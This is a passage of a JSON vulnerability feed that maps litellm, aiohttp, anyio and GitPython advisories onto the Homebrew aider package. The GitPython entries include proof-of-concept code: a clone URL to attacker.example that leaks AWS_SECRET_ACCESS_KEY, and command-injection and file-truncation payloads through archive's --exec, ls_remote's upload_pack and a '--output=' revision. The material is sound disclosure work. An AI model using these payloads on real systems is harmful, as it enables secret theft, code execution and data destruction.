sufficiently validate file paths from uploaded skill ZIP archives. An authenticated user with access to LiteLLM LLM API routes, or a key whose `allowed_routes` includes `/v1/skills`, `anthropic_routes`, or `llm_api_routes`, could upload a crafted skill archive containing path traversal entries.\n\nWhen the skill was processed for execution, those entries could be written outside the intended extraction/staging directory. This could allow arbitrary file write and may lead to code execution depending on deployment configuration and writable paths.\n\n### Patches\n\nThe issue is fixed in `1.83.7-stable`.\n\nLiteLLM recommens upgrading to `1.83.7-stable` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Block `POST /v1/skills` at your reverse proxy or API gateway.\n2. Restrict Skills API access to trusted users only.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-5jmr-gcrj-2c9q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59820"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25475"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/6a15adcd64137d37f73dee76dfe7481f8c2d9196"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59821","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-72m8-9m7m-h278","CVE-2026-59821","PYSEC-2026-3478"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.82.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Custom Code Guardrails production endpoints bypass code safety checks","details":"### Impact\n\nLiteLLM's Custom Code Guardrails production create/update paths did not apply the same sandboxing and validation used by the test endpoint.\n\nA privileged user with access to create or update guardrails could submit custom Python code that executed in the LiteLLM proxy environment. In deployments without a configured master key, callers could be treated as proxy administrators, making this reachable without intended administrative authorization.\n\nThis could allow arbitrary code execution in the LiteLLM proxy container and exposure of secrets available to the process.\n\n### Patches\n\nThe issue is fixed in `1.82.0-stable`.\n\nLiteLLM recommend upgrading to `1.82.0-stable` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Restrict access to `POST /guardrails` and `PUT /guardrails/{guardrail_id}` to trusted administrators only.\n2. Ensure `LITELLM_MASTER_KEY` is configured.\n3. Avoid enabling Custom Code Guardrails for untrusted users.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-72m8-9m7m-h278"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59821"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/e50b4486d0f7aa0497185a1ebcdd2c91f1769eba"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.82.0-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59822","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-7488-6r32-c95q","CVE-2026-59822","PYSEC-2026-3479"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback","details":"### Impact\n\nLiteLLM's MCP Streamable HTTP endpoint could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token.\n\nThe MCP auth handler supported OAuth2 passthrough for upstream MCP servers, but the fallback path could replace failed LiteLLM key validation with an empty `UserAPIKeyAuth()` object. This allowed requests with a fabricated `Authorization` header to reach MCP tooling without a valid LiteLLM key.\n\nAn attacker could use this to list and call configured MCP tools and access connected services exposed through MCP.\n\n### Patches\n\nThe issue is fixed in `1.84.0`.\n\nWe recommend upgrading to `1.84.0` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, disable MCP routes or block access to `/mcp/` and related MCP endpoints at your reverse proxy or API gateway.\n\n### References\n\n* [v1.84.0](https://github.com/BerriAI/litellm/releases/tag/v1.84.0)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59822"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/26463"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.84.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59823","published":"2026-09-20T11:37:05Z","modified":"2026-09-20T11:37:05Z","upstream":["GHSA-hx8v-g79f-8w5f","CVE-2026-59823"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.9","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Proxy has server-side request forgery via the `user_config` request parameter","details":"### Summary\nA server-side request forgery in LiteLLM Proxy lets an authenticated caller redirect the\nproxy's outbound request to a host of their choosing by smuggling an `api_base` inside the\n`user_config` request body, bypassing the existing parameter guard.\n\n### Details\nLiteLLM Proxy validates request bodies with `is_request_body_safe`, which blocks the\n`api_base` and `base_url` parameters but does not cover `user_config`. The `user_config`\nobject is used to build the outbound router for a request, so a caller can place an\n`api_base` inside it and reach an arbitrary host. The guard only inspected the two\ntop-level keys, so the same `api_base` nested inside `user_config` was never checked.\n\nExploitation requires a valid virtual key.\n\n### Impact\nAn authenticated caller can make the proxy issue server-side requests to internal or\nexternal hosts of their choosing, reaching endpoints the caller cannot otherwise access.\n\n### Affected / Patched\nAffected: `<= 1.83.8`\nPatched: `1.83.9`\n\n### Remediation\nUpgrade to 1.83.9 or later (released 2026-04-17).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-hx8v-g79f-8w5f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59823"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25827"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/47214be317f45a2d2ac08258362e0481411eb427"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59881","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-63374","published":"2026-09-20T11:37:03Z","modified":"2026-09-20T11:37:03Z","upstream":["GHSA-82r6-8w77-94w6","CVE-2026-63374"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.12.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.12.1","key":"pkg:pypi/anyio@4.12.1","resource":"anyio"}]},"summary":"AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing","details":"### Impact\nServices using internationalized (non-ASCII) domain names are potentially vulnerable to TLS connections made from AnyIO's `connect_tcp()` or directly via `TLSStream.wrap()` where the connection has (through other means) been hijacked and redirected to a malicious server. The attacker would obtain a legitimate certificate using the IDNA 2003 encoded version of the domain name and offer it to the connecting client, making the certificate validate properly on the client's end.\n\n### Patches\nThe vulnerability will be patched in v4.14.2.\n\n### Workarounds\nEncode host names via the `idna` package prior to connecting.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1208"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-64847","published":"2026-09-20T11:37:03Z","modified":"2026-09-20T11:37:03Z","upstream":["GHSA-5p39-cfhj-2xmp","CVE-2026-64847"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.12.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.12.1","key":"pkg:pypi/anyio@4.12.1","resource":"anyio"}]},"summary":"AnyIO process-pool workers can block indefinitely on undrained stderr","details":"### Impact\nAnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code that writes enough attacker-influenced data to stderr can fill the pipe, block before returning the stdout protocol response, and wedge the awaiting process-pool call.\n\nAnyone who runs untrusted or faulty code that writes too much to `stderr` is at risk.\n\n### Patches\nThis vulnerability will be patched in v4.14.2.\n\n### Workarounds\nClosing `sys.stderr` in the target function should at least prevent the deadlock.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-5p39-cfhj-2xmp"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1207"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/f1b7301c8264b0d2e8d24a5788fd29e93dea4040"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67322","published":"2026-08-13T16:35:12Z","modified":"2026-09-25T09:58:14Z","upstream":["GHSA-rwj8-pgh3-r573","CVE-2026-67322","PYSEC-2026-3842"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.52","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","details":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67322"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2172"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rwj8-pgh3-r573"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml"},{"type":"WEB","url":"https://pypi.org/project/gitpython"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67323","published":"2026-08-13T16:35:12Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-956x-8gvw-wg5v","CVE-2026-67323","PYSEC-2026-3839"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.51","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`","details":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"\"} give\ngit archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '<- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2163"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67325","published":"2026-08-13T16:35:12Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-2f96-g7mh-g2hx","CVE-2026-67325","PYSEC-2026-3836"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.51","resource":"